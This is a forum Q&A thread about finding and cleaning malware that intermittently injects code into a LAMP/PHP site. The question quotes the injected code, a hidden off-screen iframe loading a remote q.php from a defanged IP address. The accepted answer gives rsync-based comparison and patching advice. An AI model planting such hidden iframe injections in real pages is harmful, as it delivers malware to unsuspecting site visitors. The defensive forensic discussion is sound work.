Mysql – Malware : Identifying & Cleaning Malware on a LAMP site

forensicsmalwareMySQLPHPweb-server

EDIT : Further information / investigation information contained in the comments to this post

Apologies for the vague title – had trouble summarising this one.

I have recently discovered that one of my sites in serving out malware. As a result of this I have grepped through every file under httpdocs and looked for anything suspicious, i.e. calls out to shell_exec, eval, base64, passthru, includes, requires, cookie functions in PHP files. I have also gone through all JS files looking for suspicious methods, additionally as aspects of the site are built from a database I have searched that for anything suspicious (using phpmyadmin db search function to look for php shell etc and typical js malware commands)

All to no avail, I simply can't find where this is. As a result of that I have reuploaded all files for the software I am running and effectively reinstalled the site files. I have also had the software provided to go through and check, they have not been able to find anything either.

This leaves me with the conclusion that something at a higher level, i.e. Apache has been compromised. So the question is what should I check here?

I am running a dedicated server that only serves this site and only I have access to (he says) so I am able to run anything needed to help diagnose this

How does the Malware present itself?

Intermittently the following code is placed into my tags:

<style>
.iqb71l { position:absolute; left:-1958px; top:-1826px}
</style>
<div class="iqb71l"><iframe src="hXXp://1.1.1.1/f72387bd1dfab35f89f1899e1be07c08/q.php" width="198" height="501"></iframe></div>

NOTE : In the code sample above I have changed 'http' to 'hXXp' and the IP address to '1.1.1.1'

However, the code is not always injected it seems to be added at random. Additionally when the code does appears the IP address, following guid and class name are typically different.

Also, none of the Malware scanners (i.e. Google webmaster tools etc etc etc) are picking this up. So I am guessing that this is more than just a basic injection, it is randomly choosing when to present itself, it is dynamically choosing an address to inject and it is seemingly invisible to malware scanner referrers.

Having spent a lot of time Google this I have not been able to find any similar instances, I have however found lots of references to webmasters asking about a myseterious q.php file that has appearred on their server.

Best Answer

Identifying malware in PHP code is a nightmare. But I am going to pass along some basic tips I have gleaned from cleaning up more than a few of these nightmares successfully.

First, do you have a clean version of the site anywhere? Such as a staging version that sits right next to the production version you can compare to? If so, run rsync with CRC checking in dry-run mode like this:

rsync -rvnc --exclude '.svn' --exclude 'xml' --exclude 'temp' --exclude 'tmp' --exclude 'cache' /clean/version/of/site/ /infected/version/of/site/

Note that I added, a few --exclude parameters to exclude the checking of known temp & cache directories.

And if you do not have a clean copy of the site to compare to, just download a clean install version of the PHP software you are using to use that as a comparison base. So let’s say you have a WordPress site that is infected? Download the exact same version of WordPress & do the Rsync comparison as above.

Doing an Rsync CRC/Dry-Run comparison alone he helped me track down infections & clean them up right away. Basically, go through the list of files that Rsync believes are different or new one-by-one to see if they are infected. 9 times out of 10 you will find code injected at the end of files that—for lack of a better term—looks like garbage. That will be the infection.

But do not pat yourself on the back yet. Changes are there are other infections. In many cases at least 2 or 3 more. So manually go through every file that Rsync declares different until things are cleaned up entirely.

You didn't say what PHP code is the basis of your site, but I would also immediately advise updating your install to whatever the latest patched version of the software is. Chances are good you are not the first, and this is a known issue, so patching will plug up the holes the malware go through to begin with.

Oh, and regarding malware getting into your database, that might be an entry point but more often than not malware worms it's way into your site by gaining user access via the database & then writes malware to the PHP codebase on your filesystem.

Related Topic